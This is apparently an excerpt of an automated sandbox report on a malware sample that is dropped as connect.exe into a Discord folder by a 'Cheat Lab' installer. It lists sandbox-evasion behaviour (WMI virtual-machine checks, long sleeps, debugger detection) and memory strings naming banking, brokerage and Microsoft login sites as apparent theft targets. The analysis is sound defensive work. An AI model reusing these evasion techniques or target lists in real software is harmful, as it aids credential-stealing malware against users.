Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5220	Thread sleep count: 6040 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5220	Thread sleep count: 2984 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6376	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe TID: 2700	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe TID: 2052	Thread sleep count: 65 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe TID: 2052	Thread sleep count: 4347 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe TID: 1992	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6040	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2984	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Window / User API: threadDelayed 4347	Jump to behavior

Source: C:\Windows\Installer\MSIC01A.tmp

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_6-33667

Source: C:\Windows\Installer\MSIC01A.tmp

API coverage: 5.9 %

Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIAEF5.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIAC8E.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIAC5E.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIBE32.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIAD1D.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIACBE.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIBE12.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIAC3E.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIBDB3.tmp	Jump to dropped file
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIAEC5.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSID74E.tmp	Jump to dropped file

Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe

Code function: 22_2_08128DF2 sldt word ptr [eax]

22_2_08128DF2

Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe

API call chain: ExitProcess graph end node

Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer	Jump to behavior

Source: connect.exe, 00000016.00000003.2129392391.00000000081FC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware
Source: connect.exe, 00000016.00000002.2135618138.0000000003A71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: connect.exe, 00000016.00000002.2133528800.0000000002A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: connect.exe, 00000016.00000002.2135618138.0000000003A71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696494690
Source: connect.exe, 00000016.00000002.2135618138.0000000003A71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: connect.exe, 00000016.00000002.2133528800.0000000002A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: connect.exe, 00000016.00000002.2135618138.0000000003A71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: connect.exe, 00000016.00000002.2135618138.0000000003A71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: connect.exe, 00000016.00000002.2135618138.0000000003A71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: connect.exe, 00000016.00000002.2135618138.0000000003A71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: LuaJIT.exe, 00000009.00000002.1936998576.0000022EB34C4000.00000004.00000020.00020000.00000000.sdmp, LuaJIT.exe, 00000009.00000002.1936998576.0000022EB344D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: connect.exe, 00000016.00000002.2133528800.0000000002A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696494690
Source: connect.exe, 00000016.00000002.2133528800.0000000002A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: connect.exe, 00000016.00000002.2133528800.0000000002A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: connect.exe, 00000016.00000002.2133528800.0000000002A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: connect.exe, 00000016.00000002.2135618138.0000000003A71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: connect.exe, 00000016.00000002.2135618138.0000000003A71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: MSIC01A.tmp, 00000006.00000002.1461201929.00000000013B9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: connect.exe, 00000016.00000002.2135618138.0000000003A71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: connect.exe, 00000016.00000002.2133528800.0000000002A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: connect.exe, 00000016.00000002.2135618138.0000000003A71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696494690
Source: connect.exe, 00000016.00000002.2135618138.0000000003A71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: connect.exe, 00000016.00000002.2135618138.0000000003A71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: connect.exe, 00000016.00000002.2135618138.0000000003A71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: connect.exe, 00000016.00000002.2135618138.0000000003A71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: connect.exe, 00000016.00000002.2135618138.0000000003A71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: connect.exe, 00000016.00000002.2135618138.0000000003A71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: connect.exe, 00000016.00000002.2133528800.0000000002A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE
Source: connect.exe, 00000016.00000002.2133528800.0000000002A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: connect.exe, 00000016.00000002.2135618138.0000000003A71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: connect.exe, 00000016.00000002.2135618138.0000000003A71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE
Source: connect.exe, 00000016.00000002.2135618138.0000000003A71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696494690f
Source: connect.exe, 00000016.00000002.2133528800.0000000002A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: connect.exe, 00000016.00000002.2135618138.0000000003A71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: connect.exe, 00000016.00000002.2133528800.0000000002A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: connect.exe, 00000016.00000002.2135618138.0000000003A71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: connect.exe, 00000016.00000002.2135618138.0000000003A71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: connect.exe, 00000016.00000002.2133528800.0000000002A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: connect.exe, 00000016.00000002.2133528800.0000000002A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: connect.exe, 00000016.00000002.2133528800.0000000002A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: connect.exe, 00000016.00000002.2133528800.0000000002A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: connect.exe, 00000016.00000002.2135618138.0000000003A71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: connect.exe, 00000016.00000002.2133528800.0000000002A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: connect.exe, 00000016.00000002.2133528800.0000000002A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: connect.exe, 00000016.00000002.2133528800.0000000002A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: connect.exe, 00000016.00000002.2135618138.0000000003A71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: connect.exe, 00000016.00000002.2133528800.0000000002A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: connect.exe, 00000016.00000002.2133528800.0000000002A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: connect.exe, 00000016.00000002.2135618138.0000000003A71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: connect.exe, 00000016.00000002.2133528800.0000000002A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: connect.exe, 00000016.00000002.2135618138.0000000003A71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: connect.exe, 00000016.00000002.2135618138.0000000003A71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: connect.exe, 00000016.00000002.2131742691.00000000004E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: connect.exe, 00000016.00000002.2135618138.0000000003A71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: connect.exe, 00000016.00000002.2135618138.0000000003A71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h
Source: connect.exe, 00000016.00000002.2133528800.0000000002A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: connect.exe, 00000016.00000002.2133528800.0000000002A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: connect.exe	Binary or memory string: j/NhscRXP5vyZCubEizzJAyXtsIMrKDuopDcRMMFbv6vBv6z++TpP7ZBgP1ako6UXVMcir1+swte3aZvpyZd+T7mVpjZqlgwRH3Ayl5z1nbXp6eqzQwKdul+SvLGL+tLe/
Source: connect.exe, 00000016.00000002.2135618138.0000000003A71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: connect.exe, 00000016.00000002.2133528800.0000000002A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: connect.exe, 00000016.00000003.2129392391.00000000081FC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Win32_VideoController(Standard display types)VMwareG6O2F5SHWin32_VideoControllerF2C4X_48VideoController120060621000000.000000-00025810337display.infMSBDABGVPVXLPPCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00\3&61AAA01&0&78OKWin32_ComputerSystemuser-PC1280 x 1024 x 4294967296 colors3ZH1G9L6
Source: connect.exe, 00000016.00000002.2133528800.0000000002A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: connect.exe, 00000016.00000002.2133528800.0000000002A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: connect.exe, 00000016.00000002.2133528800.0000000002A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: connect.exe, 00000016.00000002.2133528800.0000000002A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696494690
Source: connect.exe, 00000016.00000002.2133528800.0000000002A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: connect.exe, 00000016.00000002.2133528800.0000000002A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696494690f
Source: connect.exe, 00000016.00000002.2133528800.0000000002A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h

Source: C:\Windows\System32\msiexec.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Installer\MSIC01A.tmp

Code function: 6_2_00F6AF79 FindFirstFileExW,

6_2_00F6AF79

Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe

Code function: 22_2_00408000 VirtualAlloc,LoadLibraryA,GetProcAddress,GetProcAddress,VirtualProtect,lstrlenW,CreateThread,Sleep,WaitForSingleObject,

22_2_00408000

Source: C:\Windows\Installer\MSIC01A.tmp	Code function: 6_2_00F62DCC mov ecx, dword ptr fs:[00000030h]	6_2_00F62DCC
Source: C:\Windows\Installer\MSIC01A.tmp	Code function: 6_2_00F6AD78 mov eax, dword ptr fs:[00000030h]	6_2_00F6AD78
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_00408000 mov edx, dword ptr fs:[00000030h]	22_2_00408000

Source: C:\Windows\Installer\MSIC01A.tmp

Code function: 6_2_00F3D0A5 IsDebuggerPresent,OutputDebugStringW,

6_2_00F3D0A5

Source: C:\Windows\Installer\MSIC01A.tmp

Code function: 6_2_00F32310 GetProcessHeap,

6_2_00F32310

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe

Code function: 22_2_0815BB18 LdrInitializeThunk,

22_2_0815BB18

Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Windows\Installer\MSIC01A.tmp	Code function: 6_2_00F533A8 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_00F533A8
Source: C:\Windows\Installer\MSIC01A.tmp	Code function: 6_2_00F5353F SetUnhandledExceptionFilter,	6_2_00F5353F
Source: C:\Windows\Installer\MSIC01A.tmp	Code function: 6_2_00F52968 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_00F52968
Source: C:\Windows\Installer\MSIC01A.tmp	Code function: 6_2_00F56E1B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_00F56E1B
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738ADD9D4 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_00007FF738ADD9D4
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738ADDBB8 SetUnhandledExceptionFilter,	9_2_00007FF738ADDBB8
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738ADD0B0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_00007FF738ADD0B0
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738B08900 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_00007FF738B08900
